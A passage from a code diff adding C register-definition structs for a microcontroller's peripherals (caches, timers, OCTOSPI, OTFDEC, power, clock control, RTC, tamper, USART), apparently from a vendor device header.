register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< OCTOSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< OCTOSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< OCTOSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< OCTOSPI Device Configuration register 3, Address offset: 0x010 */ + __IO uint32_t DCR4; /*!< OCTOSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< OCTOSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< OCTOSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< OCTOSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< OCTOSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< OCTOSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< OCTOSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< OCTOSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< OCTOSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< OCTOSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< OCTOSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO uint32_t IR; /*!< OCTOSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 0x114-0x11C */ + __IO uint32_t ABR; /*!< OCTOSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< OCTOSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< OCTOSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< OCTOSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< OCTOSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< OCTOSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< OCTOSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< OCTOSPI Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< OCTOSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< OCTOSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< OCTOSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; +/** + * @brief OTFDEC register + */ +typedef struct +{ + __IO uint32_t REG_CONFIGR; /*!< OTFDEC Region Configuration register, Address offset: 0x20 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_START_ADDR; /*!< OTFDEC Region Start Address register, Address offset: 0x24 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_END_ADDR; /*!< OTFDEC Region End Address register, Address offset: 0x28 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_NONCER0; /*!< OTFDEC Region Nonce register 0, Address offset: 0x2C + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_NONCER1; /*!< OTFDEC Region Nonce register 1, Address offset: 0x30 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR0; /*!< OTFDEC Region Key register 0, Address offset: 0x34 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR1; /*!< OTFDEC Region Key register 1, Address offset: 0x38 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR2; /*!< OTFDEC Region Key register 2, Address offset: 0x3C + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR3; /*!< OTFDEC Region Key register 3, Address offset: 0x40 + 0x30 * (x -1) (x = 1 to 4) */ +} OTFDEC_Region_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< OTFDEC Control register, Address offset: 0x000 */ + uint32_t RESERVED1[3]; /*!< Reserved, Address offset: 0x004-0x00C */ + __IO uint32_t PRIVCFGR; /*!< OTFDEC Privileged access control Configuration register, Address offset: 0x010 */ + uint32_t RESERVED2[187]; /*!< Reserved, Address offset: 0x014-0x2FC */ + __IO uint32_t ISR; /*!< OTFDEC Interrupt Status register, Address offset: 0x300 */ + __IO uint32_t ICR; /*!< OTFDEC Interrupt Clear register, Address offset: 0x304 */ + __IO uint32_t IER; /*!< OTFDEC Interrupt Enable register, Address offset: 0x308 */ +} OTFDEC_TypeDef; + + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t PMCR; /*!< Power mode control register , Address offset: 0x00 */ + __IO uint32_t PMSR; /*!< Power mode status register , Address offset: 0x04 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x08-0x0C */ + __IO uint32_t VOSCR; /*!< Voltage scaling control register , Address offset: 0x10 */ + __IO uint32_t VOSSR; /*!< Voltage sacling status register , Address offset: 0x14 */ + uint32_t RESERVED2[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t BDCR; /*!< BacKup domain control register , Address offset: 0x20 */ + __IO uint32_t DBPCR; /*!< DBP control register, Address offset: 0x24 */ + __IO uint32_t BDSR; /*!< BacKup domain status register, Address offset: 0x28 */ + __IO uint32_t UCPDR; /*!< Usb typeC and Power Delivery Register, Address offset: 0x2C */ + __IO uint32_t SCCR; /*!< Supply configuration control register, Address offset: 0x30 */ + __IO uint32_t VMCR; /*!< Voltage Monitor Control Register, Address offset: 0x34 */ + __IO uint32_t USBSCR; /*!< USB Supply Control Register Address offset: 0x38 */ + __IO uint32_t VMSR; /*!< Status Register Voltage Monitoring, Address offset: 0x3C */ + __IO uint32_t WUSCR; /*!< WakeUP status clear register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< WakeUP status Register, Address offset: 0x44 */ + __IO uint32_t WUCR; /*!< WakeUP configuration register, Address offset: 0x48 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x4C */ + __IO uint32_t IORETR; /*!< IO RETention Register, Address offset: 0x50 */ + uint32_t RESERVED4[43];/*!< Reserved, Address offset: 0x54-0xFC */ + __IO uint32_t SECCFGR; /*!< Security configuration register, Address offset: 0x100 */ + __IO uint32_t PRIVCFGR; /*!< Privilege configuration register, Address offset: 0x104 */ +}PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + __IO uint32_t WPR3; /*!< SRAM Write Protection Register 3, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved, Address offset: 0x04 */ + __IO uint32_t HSICFGR; /*!< RCC HSI Clock Calibration Register, Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register, Address offset: 0x14 */ + __IO uint32_t CSICFGR; /*!< RCC CSI Clock Calibration Register, Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< RCC PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< RCC PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< RCC PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< RCC PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< RCC PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< RCC PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< RCC PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< RCC PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< RCC PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< RCC Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< RCC Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< RCC Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< RCC AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR; /*!< RCC AHB2 Peripherals Reset Register Address offset: 0x64 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0x68 */ + __IO uint32_t AHB4RSTR; /*!< RCC AHB4 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1LRSTR; /*!< RCC APB1 Peripherals reset Low Word register Address offset: 0x74 */ + __IO uint32_t APB1HRSTR; /*!< RCC APB1 Peripherals reset High Word register Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< RCC APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< RCC APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED10; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< RCC AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR; /*!< RCC AHB2 Peripherals Clock Enable Register Address offset: 0x8C */ + uint32_t RESERVED11; /*!< Reserved Address offset: 0x90 */ + __IO uint32_t AHB4ENR; /*!< RCC AHB4 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED13; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1LENR; /*!< RCC APB1 Peripherals clock Enable Low Word register Address offset: 0x9C */ + __IO uint32_t APB1HENR; /*!< RCC APB1 Peripherals clock Enable High Word register Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< RCC APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< RCC APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED14; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1LPENR; /*!< RCC AHB1 Peripheral sleep clock Register Address offset: 0xB0 */ + __IO uint32_t AHB2LPENR; /*!< RCC AHB2 Peripheral sleep clock Register Address offset: 0xB4 */ + uint32_t RESERVED15; /*!< Reserved Address offset: 0xB8 */ + __IO uint32_t AHB4LPENR; /*!< RCC AHB4 Peripherals sleep clock Register Address offset: 0xBC */ + uint32_t RESERVED17; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1LLPENR; /*!< RCC APB1 Peripherals sleep clock Low Word Register Address offset: 0xC4 */ + __IO uint32_t APB1HLPENR; /*!< RCC APB1 Peripherals sleep clock High Word Register Address offset: 0xC8 */ + __IO uint32_t APB2LPENR; /*!< RCC APB2 Peripherals sleep clock Register Address offset: 0xCC */ + __IO uint32_t APB3LPENR; /*!< RCC APB3 Peripherals Clock Low Power Enable Register Address offset: 0xD0 */ + uint32_t RESERVED18; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t CCIPR1; /*!< RCC IPs Clocks Configuration Register 1 Address offset: 0xD8 */ + __IO uint32_t CCIPR2; /*!< RCC IPs Clocks Configuration Register 2 Address offset: 0xDC */ + __IO uint32_t CCIPR3; /*!< RCC IPs Clocks Configuration Register 3 Address offset: 0xE0 */ + __IO uint32_t CCIPR4; /*!< RCC IPs Clocks Configuration Register 4 Address offset: 0xE4 */ + __IO uint32_t CCIPR5; /*!< RCC IPs Clocks Configuration Register 5 Address offset: 0xE8 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< RCC VSW Backup Domain & V33 Domain Control Register Address offset: 0xF0 */ + __IO uint32_t RSR; /*!< RCC Reset status Register Address offset: 0xF4 */ + uint32_t RESERVED20[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC Secure mode configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC Privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/** + * @brief PKA + */ +typedef struct +{ + __IO uint32_t CR; /*!< PKA control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< PKA status register, Address offset: 0x04 */ + __IO uint32_t CLRFR; /*!< PKA clear flag register, Address offset: 0x08 */ + uint32_t Reserved[253]; /*!< Reserved memory area Address offset: 0x0C -> 0x03FC */ + __IO uint32_t RAM[1334]; /*!< PKA RAM Address offset: 0x400 -> 0x18D4 */ +} PKA_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + __IO uint32_t OR; /*!< RTC option register, Address offset: 0x60 */ + uint32_t RESERVED1[3];/*!< Reserved, Address offset: 0x64 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP control register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register, Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNT1R; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[3];/*!< Reserved, Address offset: 0x44 -- 0x4C */ + __IO uint32_t OR; /*!< TAMP option register, Address offset: 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42];/*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ +} USART_TypeDef; + +/** + * @brief System configuration, Boot and Security + */ +typedef struct +{ + uint32_t RESERVED1[4]; /*!< RESERVED1, Address offset: 0x00 - 0x0C */ + __IO uint32_t HDPLCR; /*!< SBS HDPL Control Register, Address offset: 0x10 */ + __IO uint32_t HDPLSR; /*!< SBS HDPL Status Register, Address offset: 0x14 */ + __IO uint32_t NEXTHDPLCR; /*!< NEXT HDPL Control Register, Address offset: 0x18 */ + __IO uint32_t RESERVED2; /*!< RESERVED2, Address offset: 0x1C */ + __IO uint32_t DBGCR; /*!< SBS Debug Control Register, Address offset: 0x20 */ + __IO uint32_t DBGLOCKR; /*!< SBS Debug Lock Register, Address offset: 0x24 */ + uint32_t RESERVED3[3]; /*!< RESERVED3, Address offset: 0x28 - 0x30 */ + __IO uint32_t RSSCMDR; /*!< SBS RSS Command Register, Address offset: 0x34 */ + uint32_t RESERVED4[26]; /*!< RESERVED4, Address offset: 0x38 - 0x9C */ + __IO uint32_t EPOCHSELCR; /*!< EPOCH Selection Register, Address offset: 0xA0 */ + uint32_t RESERVED5[7]; /*!< RESERVED5, Address offset: 0xA4 - 0xBC */ + __IO uint32_t SECCFGR; /*!< SBS Security Mode Configuration, Address offset: 0xC0 */ + uint32_t RESERVED6[15]; /*!< RESERVED6, Address offset: 0xC4 - 0xFC */ + __IO uint32_t PMCR; /*!< SBS Product Mode & Config Register, Address offset: 0x100 */ + __IO uint32_t FPUIMR; /*!< SBS FPU Interrupt Mask Register, Address offset: 0x104 */ + __IO uint32_t MESR; /*!< 